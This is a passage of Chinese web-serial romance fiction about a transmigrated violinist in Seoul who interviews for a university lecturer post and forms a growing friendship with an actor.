等窗外的霓虹灯都已经开始闪不动时，宋玉妍长舒了一口气，心脏像是被挖走一块空落落的。 是她有些狭隘、浅薄了，这和南韩那些二流的情｜色片完全不一样。 这部电影很美，配乐也是。无论是钢琴还是弦乐都和画面相得益彰。 她打开地上的琴盒，拿出小提琴，顺着循环播放的电影插曲，琴弓开始轻轻触弦。凭借着对音准的敏感，她几乎“一字不差”地复刻了音高下来，大量的颤音被运用到了极致。 音符迤逦的余韵像是能让人看到雪花飘落时的姿态，把人拖入挣扎、思念、渴慕的感情中。 宋玉妍垂眸看着窗户前的倒影，似乎明白了为什么帕尔曼会对原主说：“你的琴声里面没有感情。” 如果是原主来处理这段音乐的话，和她应该是大相径庭。至少并不会用这么多的颤音，只是均匀分配琴弓，按部就班地踩着节奏，比节拍器还要准确。 她重新录下这段音乐，发送给自己的老师。 小提琴通过琴弦振动出来的音色、电影中钢琴像是雪花滴落般的敲奏交织在一起，组成一副冬日画卷。 每一个艺术家都会有自己的缪斯，她似乎好像等到了自己的缪斯。 「宿主，你还没有给孔浏回电，他应该还在等着。」 被系统突然来的声音惊得一哆嗦，差点让她把手机都给摔倒地上了。 「降低期待感和延迟满足，是你这样的机器永远学不来的技巧。」 系统听到这话之后，整个系统都委屈了，默默地把cpu锁进海马体深处。 首尔另一边的孔浏难得地失眠了，不进组的话他很少有过凌晨之后还没有入睡的情况。私人手机没有任何一个陌生的未接来电，倒是好友姜栋芫还在孜孜不倦给他发消息。 「你的kkt都已经显示已读了，那你为什么不回我？」 「你失眠了？」 「又是已读不回？在为哪一个坏女人伤心流泪？」 看到这样消息孔浏忍不住回复：「……」 好友和他性格完全不一样，除非拍戏需要，他不会去那些酒局，更喜欢自己一个人过些平淡的生活。而对方喜欢一头扎进纸醉金迷中，凭借出色的外表获得别人的关注。 「真被我猜对了？你可是孔浏啊！四大财产之一，国民良心！」 作品、事业可是男人最好的医美，他不明白自家亲故为什么总是觉得自己和普通人毫无区别。 不是谁都能决心去推动那个项目，遇到再大的阻力也要让它现世的。 看到这里的孔浏心头一沉，他没有大家说的那样伟大，看到《熔炉》也是机缘巧合。 当时刚服完兵役的他虽然秉着一腔热血，意气地想要改变世界。但也存着想要转型，开辟演员事业新道路的想法。 他真的没有外界描述的那么伟大。 眼睛闭上，灯光一黑，幕布开场，台上站着一个人偶。长相和他一模一样，身上被贴满了各种固定的标签，“国民良心”、“法条推动者”、“优秀演员的模版”…… 孔浏注视着那个人偶，有些想要把他推倒、打翻，撕下这些标签，但收获甚微。他的一言一行、一举一动在公众眼里，已经上升到一个本不该有的高度。 想到这里，他的身体沉甸甸地融在床上，手指有些无力地给姜栋芫发去消息，「少喝点酒，早点睡。」 「宿主，攻略者的好感度下降了。」 熟睡中的宋玉妍并没有听到，听到了也不会在意。 —— 到了首尔大学讲师面试的这天，宋玉妍穿着灰色呢子大衣。里面搭了浅蓝色的滑料衬衫和同色的贴身马甲，细长的领带被细心塞好，半身长裙显得更加正式。 浓密的黑发编成了侧股麻花辫，垂在右耳耳侧。提着琴盒的人一身英伦风，看起来完全不像是三十岁，马上快要要步入四十代的年纪。 银灰色的裙角掠过刻着音乐学院的石头外侧，她提着琴盒气喘吁吁。首尔上坡、下坡的路太多太多了。 为了让衣服少出现褶皱，她没有把琴盒背在身后，而是一直提在手上。甚至都无暇关注这所韩国第一名校的风采，只顾着躲避街上障碍的建筑。 穿过一栋西式的楼房，里面传来各种乐器的共鸣声。 终于到达目的地后，宋玉妍环顾四周，发现这里应该是一个乐团的排练室，仿着剧院的设计，只是座位设置没有剧院那么多。 舞台对面就是今日的面试官，上面有三张名牌，离的有些远她看不太清上面的韩文。 而面试者也不是一个个单独面，而是一个站在台上演奏，剩下的在台下看着。 这样无形加剧了其他人的压力，要是前面人表现的很好的话，会影响后面的心态。 “你是哪个音乐学院毕业的？”一位穿着火红色礼服裙，标准高丽人长相的女性主动朝她搭讪。 没等她回答，自顾自地说道：“我首尔大学弦乐系毕业，硕士在柯蒂斯音乐学院深造。我的老师是美国费城交响乐团的首席，还和郑京和xi学习过一段时间。” 除了宋玉妍，其他两人听到这话面色都有些不好看了。这位属于是要素齐全了，首尔大学是她的母校、出国深造过、最重要的是郑京和曾经指点过她。 韩国音乐届，谁不知道郑京和的大名？ “朱莉亚音乐学院的。”她只是回了这么一句，对方眼底的审视意味更加浓烈了。 一时间两人之间的气氛犹如火药桶，其他人屏住呼吸，就怕一点就炸。 这两位的学校，都在为谁是世界音乐的最高学府争论了上百年，出来的学生向来都是互相看不上。 而宋玉妍只觉得，这个讲师的名额她是非拿不可。 对方身上柯蒂斯、费城交响乐团、首席的弟子的标签，点起了她的胜负欲。这要是输了，老师知道可能就会让她滚出师门了。 三位面试官依次进来，只有一位是女性，两位男性依次坐在两侧。 其中一位拿起话筒，“协奏曲曲目已经发送过来，不能更换。现在从第一位开始上台演奏，一首无调性、一首协奏曲。开始吧！” 听他说完，宋玉妍就拿起自己的琴，从左侧方的台阶迈上。路过钢伴时，向对方点头示意了一下，后面那曲的小提琴协奏曲还需要对方多多配合。 琴弓与弦摩擦的第一下，就让台下的三位不约而同地抬起了头。此时他们的内心只有一个想法：居然是这首曲子。 顶灯照耀在她的脸上，嘴唇绷直，有一股理性的冷静。 左手的指法就算是再复杂，也没有让她有半分慌乱。手指在八度之间来回跳跃，指板上的拨奏像是行云流水版地有条不紊。 所有人的目光都朝她聚集而来，评委的眼底满是赞叹、欣赏，而其他竞争者的脸色并不好看。 第一位一上来就拉了一首《恰空》，内在的节奏和技巧迄今为止都无可挑剔，这给其他人造成的压力太大。 到了双声部时，琴弓在弦上大幅度快速跳跃，出来的琴音依旧是饱满圆润，极具歌唱性。 仿佛把人拉回百年前，与那位伟大的作曲家对话，能看到巴赫绝对理性下的强烈情感。 一曲毕了，下面三位面试官都不约而同地开始鼓掌。 技巧上毫无瑕疵，如果非要挑剔的话，就只能说对方没有像海菲兹那样，做到技巧与情绪之间的微妙平衡。 但这对一个年轻的演奏家来说太过苛刻了！ 宋玉妍只是笑笑，看向钢伴处，等她给了一个标准音后开始微调自己的小提琴。 对视一眼，然后欢快的伴奏响起，她进入时没有慢半个节拍、也没有快半个节拍，弦乐卡的刚刚好进入。 没有排练能够做到这种程度，足以见识她的基本功扎实。 高音的揉弦，轻柔又有力道，模仿众鸟歌唱惟妙惟肖。 “这位有点意思，居然直接选了维瓦尔弟《四季》协奏曲里面的春，看来是真的很有自信。”左侧的那位男人看着台上的人说道。 “是的啊，居然敢直接演奏这种耳熟能详的曲目。” 这种曲目但凡有一个错音都能被他们的耳朵轻易捕捉到，况且有不同的大师版本珠玉在前，对演出者的要求极高。 他看着中间的女人，坐在右侧的男人在心底感慨道江山代有才人出。 说不定他们能再出一个郑京和，南韩的古典音乐也算是“后继有人”。 中间人没有发表自己的评述，只是认真地倾听着。 技巧上确实是无可指摘，就算是是她，也不能给出更好的指导。越听她的眉头就皱的越紧，总是给她一种似曾相识的诡异感。 无论是快板的欢快，广板的浪漫还是最后快板的优美梦幻，都诠释的很好。 但是！没有自己的风格。 等她演奏完毕之后，她毫不犹豫地拿起话筒，严厉地指出了这一点。 “你应该是照着帕尔曼的版本复刻的，技术上无论是运弓还是节奏，你都没有自己的处理痕迹。” 第49章 第四十九章 “你所有的技巧都处理的很不错，但是你对乐句的处理完全是在照抄帕尔曼，我找不到你自己思索的痕迹。”郑京和像是起了惜才的心思，有的时侯严厉不代表否定。 另外两个男人面面相觑，略为有些小的眼睛里面布满了不解。 左侧男人的眼神仿佛在说：她到底是怎么听出来的？ 像是看出了另外两人心中的疑问，她好心地两人解惑道：“对我来说，每一个大师对于小提琴音色的处理方式都 是不同的，这就像是歌唱家一亮嗓，一耳朵就能知道这是谁的作品。” 面对对方的“质问”时，宋玉妍脸上的胜券在握表情给收敛起来了。原本因为毫无差错的演奏而沾沾自喜的心情，也随着她的话语不断地下坠。 回想过去的十一年，她一直跟着老师学琴。 因为家庭的缘故，也一直在闭门造车地练琴。这导致本该属于她的琴声风格上早就刻满了帕尔曼的名字。 每一个升降调、每一个颤音、每一个连顿弓……都不“属于”她自己的。 她不知道该如何回答这个问题，偌大的房间瞬间安静了。 郑京和叹口气，“在技巧上没有问题后，就好好地挖掘自己的内心世界，只有情感是你自己的。艺术个性必须主导技巧。” 既是羞愧又是感谢，她朝对方深深鞠了一躬，眼底满是复杂。 相同的话她的老师也和她说过，并非听不进去，而是不知道剩下的路该怎么走。 等她下台之后，那位柯蒂斯音乐学院的女生幸灾乐祸地看了她一眼。 她是第二个上台，在拉到巴赫无调性的第二组曲时，郑京和听不下去了，直接起身离开。 就算是要讲究艺术性，前提也是基本功必须扎实。 这让她的心态直接炸了，运弓越来越浮躁，节奏又不稳。加上没有钢伴，直接越拉越快，原本十二分钟的曲子，她九分钟就拉完了。 看到曾经指导过自己的老师表情失望后，她知道自己与这个职位无缘了。拉协奏曲时，魂不守舍，就连简单的琶音都给拉呲了。 看到这一幕宋玉妍的心情这才好转一点，自己的成功固然值得惊喜，但是对手的失败更加令人值得祝贺。 心情有些沉闷的她先离开这个排练室，原本打算在附近好好逛逛，但现在周边的景色丝毫不能吸引人的兴致。 只能拿着琴盒在这个学府里漫无目的地逛着。 不知不觉就走到文学院的地方，看到一个长椅，这让走的有些累的人径直坐了下去。琴盒搁置在脚边，她静静地享受着这一方孤寂。 明明周围都是来来往往、活力十足的学生，但置身于此，她就像是乐谱里的装饰音那般可有可无。 远处的易拉宝海报被风一吹就倒，视线里出现了一个熟悉的身影。一个如同松树一般的身影，快步过去，扶起了被风吹倒的物料。 “孔地则xi？”宋玉妍提起琴盒过去，主动走过去打了个招呼。 定睛一看，才发现原来倒下的是《熔炉》的推广海报。 “莫？”他转身，发现这是之前一直心心念念没有回电话的那位。 这让他有些惊喜，原本以为再也不会见到的人，却会在不经意间、不经意的地方偶遇。任谁不说一句命运奇妙？ 她双手领着琴盒，英伦学院风的穿搭衬托出整个人即放松又挺立的姿态。 风撩起她侧耳边上的碎发时，像是一株冬日绽放的梨花。 浅浅笑开时，孔浏才发现她的雪腮边有一双梨涡。这让她看起来更像是雅致又温婉的梨花，标准的东方美人长相。 “这个是什么？”她手指指了指海报，在上面发现了他的名字，但是没有第一时间说出来。 像是知道隐瞒不好，男人不动声色地扯了扯衣角，还是决定坦白。 “其实我并不完全是一个自由职业者，我还是一位演员。”他看着迄今为止自己最成功作品的海报，眼里的感情很复杂。 “这是我出演的作品，来首尔大学也是分享一些我和它的故事。” 相比于现实中一直寻求正义的那位律师、把它写成文章的孔枝泳作家、以及其他幕后为它奔走的人员，他所做的不过微不足道。 不知不觉中，他把后面这段心里话也说出来了。反应过了后，脸上楞染，性子慢热的人通常很难快速和人交心。 贡献最少，获得最多高光的人反而是他。这让孔浏站在台上，有时会被愧疚的情绪折磨。 见过这个世界的黑暗，但是还想做一点、再多做一点。 “演员的意义不就在于此吗？”宋玉妍站到他的旁边，用温柔却又力量的语气说道：“伟大的艺术足以改变这个世界，而台前的演员可以通过自身的影响力让人更加关注到这些。” 他垂下眼眸，有一部分的脸被阴影覆盖上，有的时候人未必不知道这些道理。 “要一起去喝一杯咖啡吗？这附近有一家店还不错。”孔浏转移了话题，等她答应之后，主动帮忙提起了琴盒。 傍晚的咖啡厅弥漫着一种浓烈而沉静的氛围，街角处的那抹夕阳为其增添了氛围感。暗黄色的光影在落地窗前细细描绘，让建筑主体的深棕色看起来更加柔和。 点完拿铁之后，两人在窗边落座。等咖啡制作好后，他主动把饮品端了过来。 宋玉妍喝下一口拿铁之后，感受咖啡液的苦涩和牛奶的绵密在口腔里交织。 “其实在第二次偶遇之前我就知道了，你是演员，毕竟现代百货商场里你的海报还在上面呢！”她语不惊人死不休道，然后耸了耸自己的瘦肩。 对面那一口咖啡还在嘴里的人，被着突如其来的一句话给呛到了。他极力控制自己，不要让自己的姿态过于狼狈。咖啡要是被喷出了的话，在对方眼里他的形象，也就荡然无存了。 最后拿着纸巾遮住半张脸，呛到了支气管，眼睛弥漫上水雾，脸上是少见的薄红。 孔浏一想到自己居然在对方明知道演员身份的情况下，自己撒谎说自己是自由职业，就觉得有些无地自容。脸上的薄红转成绯色。 “是……是吗？” “对啊，孔浏xi不熟悉《鬼怪》。”宋玉妍想到这就觉得好笑。 天知道第一次见面的时侯，她真的是用尽了毕生演技才在听到这句话的时侯，没有笑出声。 明明是大个子的男人，此刻的上半身有些萎缩，看起来可怜兮兮。还是看老实人被逗有意思。 “我当时……” “我知道，当时你是觉得尴尬。”当时要是直截了当地揭穿他是《鬼怪》的主演的话，两人都会陷入不可避免的尴尬。 “内！”他连忙喝了一口咖啡，掩饰自己的尴尬。 “我这几天也看过孔浏xi的作品，《男与女》是真的很不错！”宋玉妍再一次语出惊人，手撑着头，含笑地望着对方。 他毫不意外地再一次被嘴里的咖啡给呛到。明明那么多作品，怎么偏偏挑了一部禁忌恋题材的？ 好心地给对方递了一把纸巾之后，宋玉妍不再逗他了。对方的八字刘海一缕一缕地晃悠着，看起来不像是四十代的中年，笑起来、窘迫时，好像依然是那个坚持自我的青年。 《男与女》中她除了喜欢导演拍摄空镜的氛围感，还觉得孔浏的腰线很不错。 但这个话还是不要说出来吓人了，男演员嘛！能理解，一到年纪就应该转型冲奖，而最快速的办法就是和戛纳影后全渡妍睡，拍摄禁忌题材。 柔和的线条，是最苛刻导演都挑不出死角的上镜脸。落日的余辉在她脸上打下了一层昏黄的氛围光晕，含着三分笑意的桃花眼让人不敢对视。 他半遮着脸，只能费力地抬着眼皮，看对面的人。 “怎么不喝咖啡？”宋玉妍咬了咬丰润的嘴唇，始作俑者状似无辜地问道。 在面前人被液体呛了两次之后，孔浏不敢碰自己之前最爱的——巴拿马瑰 夏所做的手冲咖啡。 他默默地把杯子挪着远离自己后，露出一个勉强的笑容：“我不太爱喝咖啡。”然后换了一个稍显安全的话题，“你今天来首尔大学是为了什么？” 想到之前郑京和的评价，她的情绪低落了下来，莹润如玉的脸蛋此刻像是失去了光泽。 “面试，但是好像有些不太顺利。” 这个安全话题果不其然地踩雷了，孔浏在内心自我审视了一番。明明在剧组他能和后辈相处的很好，为什么每次面对宋玉妍都会手足无措？ 室内一时间静谧下来，黑胶唱片机里钢琴的快速的颤音几乎要把人的心给揪起来。 “也许你是注定属于维也纳爱乐乐团的。对于首尔来说只是一阵风，你不会在此停留。”孔浏宽慰道，她之前不经意提过的一句都让他记在心里。 宋玉妍勉强地笑笑，在出来环游世界之前，老师就和她说过。说她现在不适合开独奏音乐会，也不具备成为一个独奏的音乐家的素质。 最好的结果就是进乐团、磨资历，然后成为一个首席。 没想到会在南韩，她的问题又一次被指出来了。 “孔浏xi会被人说自己的演技毫无感情？全然都是另一人的影子吗？”她有些挫败，小提琴手和小提琴家，一字之差却是天壤之别。 被问到的人没有敷衍，也没有太快地回答这个问题。而是拿出自己随身携带的那一本《熔炉》，放在了桌上。 “其实……”这样自夸的话从自己嘴里说出总是奇怪，但他捏了捏自己的耳垂，继续说了下去。 “其实我早期有一部偶像电视剧大爆过，那个时侯，我在演艺圈算是有些知名度，但是随之而来的是各种重复、枯燥、无聊的通告。我每次上节目之前都会问自己，是不是永远就这样过下去了。” 选择在这个圈子捞一笔，然后演着差不多的偶像剧，直到耗光自己的知名度吗？ “我选择了在所谓的“巅峰期”入伍，想要借助外部的力量，让自己好好思考一下。所幸我的经纪人很支持我，也所幸我的长官把它送给了我。” 他指了指桌上的那本书，眼底又思绪万千。 第50章 第五十章 这本书算是改变了他的人生，而现在孔浏却把书往她那边推，手指放松交叉放在桌上。 “现在我把它送给你，希望对你能有点帮助，说不定也会帮你找到属于自己要走的道路呢？” 宋玉妍接过来一看，浅蓝色和灰色交织的封面上虽然起了一点毛边，但依旧平整。 这本书上面满是主人翻阅过的痕迹，但被保存的很好。全本毫无折痕，可以看得出主人对它很是爱惜。 “我们……才见过三面？”才见过三面为什么就把自己的心爱之物送给她？她的语气里满是疑惑不解。 像是被她问住了，孔浏的表情有些僵硬，转过头的动作微微怔住。 他迟疑了几秒，想到初遇时那抹背影。也许在那一瞬间，他的灵魂单方面地与她碰撞出了火花。 “可能是觉得这本书真的很不错，想在情绪上帮助你一点。” 听到这话，她苦笑道：“就连你也听出来，我的琴声里全是技巧毫无情感了？” “……”这话让人有些不知道该如何回答，孔浏只能小心翼翼地观察者她的脸色。 “你知道的，我是一个演员，演员最重要的就是情绪捕捉的能力。” 宋玉妍看着窗外，一时间缄默。 不一会她的咖啡就见底了。 他知道自己似乎又是说错话了。明明也不是不善言辞的性格，但面对她时总是会说出不合时宜的话语。 他在心里责怪了自己一番。“我知道……有一家还不错的法餐，时间不早，要不……”再次鼓起勇气发出邀约。 到了四十代时，面对心有好感的异性，相比于年轻时侯更会直白一些。 “孔浏xi，今天谢谢你开解我，但是晚饭还是算了。” 又是拒绝，他忽然有些泄气，如松树一般挺直的身形往靠背上凹陷了过去。 脸上还是维持着温和礼貌的笑容，只是这份笑意未到眼底。或许不应该一而再再而三地去打扰人家，对方也许完全没有那份意思。 看到他有些黯然的神色，宋玉妍心脏触动。“我新办了南韩的电话卡，我们交换一下电话号码吧！等我在首尔安定下来，请你吃饭！” 听到这句话，他眼睛顿时亮了起来，惊喜地差点直接站了起来。连忙从衣袋里拿出手机和对方互换号码。 “你……才回国不久，有什么问题和需要都可以随时找我。” “当然！你可是我在南韩交的第一个朋友。作为朋友的话，以后不找你找谁？” 宋玉妍俏皮的笑了起来，唇边的两个梨涡俏皮地若隐若现。“希望你以后不要嫌弃我这个朋友麻烦！” 窗边的人眼角眉梢都在向上跳跃，映着柔和夕阳的光晕，在满是咖啡香气的室内，整个人都散发着美好、温婉的气息。 他的心脏里面像是有一个大鼓，“咚、咚、咚”的敲个不停。等记好记好电话号码后，才发现自己居然漏听了她的道别声。 对面人已经起身背好琴盒，婉拒了他想要送的想法，准备离开。 “再见。” “再见，等我找到工作我就请你吃饭！”她摆了摆手，缓缓步入街角的夕阳中。 回到酒店时，她发现电脑上有了一封新的邮件，打开一看，才发现发件人是老师。 那位对新兴电子产品都很不熟悉的老人，肯定没有办法独自用电脑打出这么一封长长的邮件。 所以只会是师兄代笔，老师口述。 看到满屏的赞美和鼓励，宋玉妍心头微暖，能在这条道路上遇到这样的良师，怎么不算是一种幸运呢？ 看了一眼时间，她毫不犹豫地给老师回了一个跨洋电话。 明明在台上被人严厉指责的时侯没有哭，独自在异乡孤独的时候没有哭，丢失所有行李的时候也没有哭。但是现在给亲近的人打电话，忽然忍不住鼻子发酸。 “老师，对不起我给你丢脸了。” 另一边的帕尔曼示意自己的弟子去帮忙整理乐谱后，隔着电话宽慰道：“孩子你已经做得很棒了。你的天赋和努力都是毋庸置疑的，我始终认为你会成为本世纪最伟大小提琴家之一。” 自己这个弟子的天赋和努力他都看在眼里，不管是绝对音高和与生俱来的乐感都是万里挑一的天赋。 在成为他的弟子后，并没有止步于此。而是更加努力、勤勉，练琴时间更是其他人的两倍，所有的演奏方式都形成了条件反射般的肌肉记忆。 更何况她还不服输，面对其他学生对亚裔的轻视，她都是用实力还击回去。 就是她被家庭给拖累了！ 想到这里，他就忍不住叹口气，任何技艺增长都不能闭门造车。但她父母对她的控制欲实在是太强了，别人都无法插手。 大颗大颗的泪珠从宋玉妍的眼眶里争先恐后地涌出，她哽咽道：“老师，我辜负了你的推荐。” 想到郑京和的评价，她的抽泣声更大了。 “我让你在师妹面前丢脸了，郑京和说我拉琴拉的毫无感情，乐句的处理方式都是照搬你的。” 帕尔曼一脸无奈，自己学琴的时侯老师都是严厉的可怕，他对弟子也是严格要求。倒是最后收下的这个小弟子，从来没有说过半句重话。 他把手机递给助理，努了努嘴，示意他作为师兄好好地哄一下。 等她情绪平静下来之后，老师重新接过电话。 “在你给我发的那个音频里，你就做的很好，里面的处理是对的。玉妍，你现在要做的就是把我交给你的那些先忘记，按照自己的想法来。” “我能培养出一个音乐家，但是不能培养出一个艺术家。” 老师的语气里 满是温和的叹息和无奈，像是一汪水包容着一切。 听到这里她好像明白了什么，手指不断地抚摸着在琴架上还没有收进去的小提琴，光滑的琴身好像能给予力量。 这一个星期，宋玉妍通过电话号码搜索加了孔浏kkt的联系方式。 每天两人都在上面有一搭没一搭地聊着，聊的范围很大、也很琐碎，文学、古典音乐、宠物、韩国的社会现状…… 反正什么都聊。 对方也对她发出过几次邀约，但看到卡里日渐减少的余额，但她实在是没有这份闲情逸致。 就连每天三个小时的练琴时间，都有些不带脑子。心不在焉的，有时拉空弦，琴弓都不受控制地往指板的方向飘。 出来的声音高亢、嘶哑又刺耳，她都不知道有多久没有听到自己的琴发出这种恐怖的声音了。 等首尔大学发来第二次的面试邀约时，她这种焦躁的心情才好转一些。 好不容易心情好了一些，又接到了原身家人的邮件。 字里行间中全是家里人的“爱意”，要求她回美国，要在茱莉亚音乐学院留校任教，以后就算是开巡演也不能离开美国范围。 但她不觉得这是爱，这完全就是一场以爱为名的绑架，满屏的韩文全都是pua的帮凶。 和老师充满关心、鼓励的邮件形成鲜明的对比。 「如果没有你们我早就开启独属于自己的事业了，如果束缚也算爱的话，那全天下爱意最多的地方应该是监狱。」 在手指敲下最后一个符号后，心中忽然如释重负般地轻松起来。 宋玉妍没有资格替原身去批判她的家人，但是这封邮件属实是给她看生气了。直截了当地拒绝对方的提议，就回了这么一句话。 第二次步入首尔大学的时侯，她的心情和第一次时截然不同。比之前稍暖的微风也无法吹走她糟糕的心情，毕竟之前的表现不尽如人意。 到了地点才发现，这次是在一个类似于办公室的地方。上次见过的右侧的那位男性面试官看到她进来后，笑眯眯地给她倒一杯水。 心底的警觉性提到了最高，在一个看重前后辈关系的男权社会里，被一个这样年长又社会地位高的男性殷勤对待可不是一件什么好事。 “自我介绍一下，我是韩载时，目前负责音乐学部的古典音乐系这部分。”他笑了笑，指了指对面的椅子示意她坐下，然后继续翻着她的简历。 “您履历非常优秀，11岁参加梅纽因国际小提琴赛事，拿到少年组的一等奖，成为最年轻的获奖选手。15岁时拿到了柴奖的金奖，次年考入茱莉亚音乐学院预科，就读至今。其间一直是学院管弦乐团的首席，室内乐团的一提。” 一口气把她的履历给念出来，显然不是件容易的事情。 韩载时稍稍吐了一口气，然后拿起自己的瓷杯，呷了一口温水。能在满是天才的最高音乐学府中力压群雄，足以说明宋玉妍的优秀。 她脸上未见丝毫的自满、得意，依旧是垂着头、半阖着眼皮，模样温顺。 “我想知道你凭什么能成为韩国最高学府中的一份子？你凭什么认为自己能够胜任这份工作？”他依旧是笑眯眯的温和模样，问出尖锐的问题可一点都不温和。 但在宋玉妍眼里，就像是一只狐狸终于亮出了它那野兽般的獠牙。 “我可以把朱莉亚音乐学院更加科学、系统的教学方式带来。虽然两个学校都是世界一流的学校，但是在教学风格、形式上还是有不一样的地方。” 她四两拨千斤地把这个问题给化解了。 先是强调了自己出身于世界上一流的音乐学府，暗戳戳表示首尔大音乐系教学水平离它还是有一段距离。 然后又把两者拉到了同一个高度，不着痕迹地捧了自己未来的工作一把。 韩载时听到这话时，笑意已经遮不住了。能和顶尖的音乐学院“并列”，说明他们在国际上还有些名声的。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-60 第51章 第五十一章 这个答案显然让对方很满意，韩载时努力地抑制自己嘴角上扬的弧度。 他又稍稍问了一些其他关于专业性的问题，看到宋玉妍对对答如流的样子，眼底闪过一丝满意。 “如果你成为我们的非专职讲师，看了我们现在教材的科目规划，会有什么样的建议？” 这并不是一个很好回答的问题。如果说现在教学无可挑剔，只能证明她是一个能力平庸，找不到缺陷的人。 宋玉妍原本稍稍放松下来的身体，此刻不由得绷得更紧，细腰不自觉的往上一挺。 就算心里再如何纠结，素白的脸上没有显露分毫，而是写满了镇定。 “小提琴专业的学生不仅要听本专业同学的演奏，还要学习音乐理论、音乐史、钢琴、合奏、室内乐和管弦乐队知识。在理论知识这方面，首尔大显然做的很好。” 在肯定了学院的教学水平之后，她话锋一转，“但我认为在音乐理论的基础已经打好的情况下，实践就变得非常重要。” 到了职业的范畴，演奏者的水平如何。一场演奏会下来，古典音乐听众就能了解个七七八八。 但并不是每一个音乐学院都有条件，让每一个学生都能进入成熟的乐团去学习。 或者能有足够的师资力量，给学生提供有丰富经验的指导老师，能够帮助他们提升室内乐合奏方面的演出水平。 韩载时听到这里，沉闷的心情无以复加。在古典音乐教育方面，首尔大并不是韩国排名第一的专业院校，前面还有韩艺综压着。 目前这也没有什么更好的解决方法。 他吐出一口气，面上重新挂上礼貌温和的笑容。“恭喜！你面试通过了，欢迎你加入。” 听到这话的宋玉妍被震惊到嘴巴微微张开。不应该面试完所有人之后，统一用邮件发送最终的结果吗？ “我们这边非专职讲师年薪大约为4000万韩元，不包括四金。” 他笃定的笑着，相信没有人会拒绝首尔大的offer，哪怕这只是一份短期合约。 就算和专职讲师的薪资差了三倍，但这也无可奈何。 这样的薪资待遇只能说得上是差强人意，在消费高的首尔只能勉强保证比较体面的生活。 宋玉妍因为叹了口气，想着可以出去带学生赚取课时费，后续的经济状况没有自己想象的那么糟糕。 “内，那我什么时候可以入职？” 韩载时打印好合同，递过去，看着她不紧不慢的翻阅着。 窗外的天光映照着她柔和的脸庞，一点一点勾勒着侧脸美好的线条。 不够纤细，但足够修长的手指在洁白的纸上游弋着，碎碎的金光在垂下的眼睫毛上跳跃着。 他有点可惜，可惜这样的美人不好动，对方可是入了郑京和的青眼。 仿佛对他凝视的目光浑然不知，宋玉妍大笔一挥，果断在合同的最下方签上自己的汉语名字。 道别时，她最终还是问出了自己心底的疑问。 “为什么会选择我呢？”明明第一次面试时，她表现的并不算好。 “第二次面试从始至终就只有你一个人。也许你达不到郑京和xi的要求，但这并不能说明你不优秀。” 他嘴角勾了一个意味深长的笑容，那位也是爱才心切啊！ 宋玉妍：…… 懂了，全靠同行衬托。其他人比她还差劲。 离开之后，走着走着，路过了音乐学院的石碑。酒店离这儿并不远，隔了大概4条街。 和孔浏一起喝过咖啡的那家咖啡厅，也被她步履匆匆的略过了。 在现在的宋玉妍眼里，现在简直万物可爱。树上的枯枝，是具有艺术感的形状。远边的云彩，颜色如梵高的笔触那般梦幻。 连巷子转角处的狸花猫，毛茸茸的耳尖立起来，还有蓬松蓬松的尾巴，都格外的撩人。 回到酒店之后，她迫不及待地点开音乐播放软 件。 《男与女》里面的纯音乐插曲，她是真的很喜欢很喜欢。 房间里一时间只剩下安静的旋律在流淌。主旋律钢琴的音色，就像是天鹅绒质地那般柔软。 宋玉妍打开空白的五线谱本，优美的钢琴声指与笔摩擦发出的沙沙声，组成了另类的交响曲。 沾满墨水的钢笔在暗黄的纸页上书写着。连音符号就像一个个海浪，直到组成了半页完整的黑色大海。 不到3分钟，整个主旋律的音符都跃然于纸上。她顺手加上谱号、节拍和代表速度的意大利文。 这首插曲的旋律，就被她靠耳朵完整地给扒了下来。 又毫不犹豫的架起小提琴，拉了几组双音。没有发现太大的音准偏差后，对照着谱子慢慢运指，手腕在小幅度的揉弦。 手机录音机上的时间一秒一秒的读过，歌唱一般的音乐声荡漾在房间内，仿佛有看不见的涟漪一圈一圈的扩散着。 抛弃了很多繁复的技巧，一点点的揉弦配上琴本身的音色就已经足够好听了。 宋玉妍跟随着自己的内心，右手只是用弓尖上很小的一部分，在琴弦上轻盈地跃动。 录完后听了一遍，乐器本身的歌唱性被发挥到了最大。就是声音经过电子的处理，到底还是有些失真，没有现场听来的优美。 最后她还是把这份音频给孔浏发了一份。 对方能立刻就在kkt上面回复了她。 「这个不是？《男与女》的插曲吗？」 「是的，我是真的很喜欢这首插曲。把本来钢琴的主旋律完全改成了弦乐，你感觉会有什么不一样吗？」 宋玉妍很想让自己的“缪斯”给自己提提意见。 对面半晌没有回复。 她看着窗外的夜幕有些难过，拿着小提琴弓的右手攥的更紧了。紧紧地抿了抿自己的唇，垂下眼帘，掩饰住眼底的失落。 手机放下，也没有再继续发送语音了。 「刚刚去比对了原版，发现自己更喜欢你这一版。」 孔浏隔了很久回复之后，认真地打下一段话。 「原版更像是雪后森林里独自一人的沉郁、苍凉。听起来很有抑郁的氛围感，仿佛雪松的味道可以随着音乐扑面而来。」 「你的不一样，这个版本像是一个优雅的花滑选手，在冰层上轻盈地跳动着。每一次用刃都让人感觉到赏心悦目，穿着雪花纹样考斯藤的人，能和环境融为一体」 他看过很多书，但是此刻无法语言形容出现在的感受。从宋玉妍的琴声中，无需言语就明白了对方想要传达的情绪。 至少知道她现在的心情是明朗的。就像是厚厚的雪层终归会融化，坠落的雨滴也将会汇入海洋。 原来并不是无可评价呀。有些如释重负，窗边的人终于露出了明媚的笑容。 她用清甜又沙哑的声音发了一条语音。“谢谢你，孔浏xi。” 也许真的是那本《熔炉》把好运传给她了。 「心情不错，是首尔大的第二次面试过了吗？」 「内，我想要感谢你，把自己心爱之物送给了我，说不定我就是沾上了它的好运气呢。」和他聊天时，宋玉妍嘴角的梨涡就没有平整过。 「恭喜恭喜！」 另一边的孔浏既是为她开心，就是心中有些失落。两人之间的差距更大了，教师本来就是受人尊敬的职业，更何况还是首尔大的讲师。 和演员之间的社会地位差距，就像索马里的海沟那么深。 他没有把自己的心绪表达出来，是主动打了一个电话，用温柔的嗓音亲口和对方道贺。 今夜风温柔，月色也温柔。 宋玉妍接起电话时，心脏狠狠地跳动了几下。除了老师之外，他是第一个认同她的人。 似乎她也没有那么糟糕，不是吗？ 可能是因为他的声音过于磁性柔和，两人不知不觉中聊了大半个小时。 无论她发起什么话题对方都能立马接上，这让她有一种，孔浏在向下兼容自己的错觉。 夜色不早，两人定好下次吃饭的时间之后，就把电话给挂了。 已经到生物钟应该休息的时间了，但他脑子里像是有一团乱麻，复杂的思绪一缕一缕地纠缠着。 孔浏从茶几深处的抽屉里翻出香烟和打火机，火星一闪，片刻之后烟雾就模糊了他的面容。 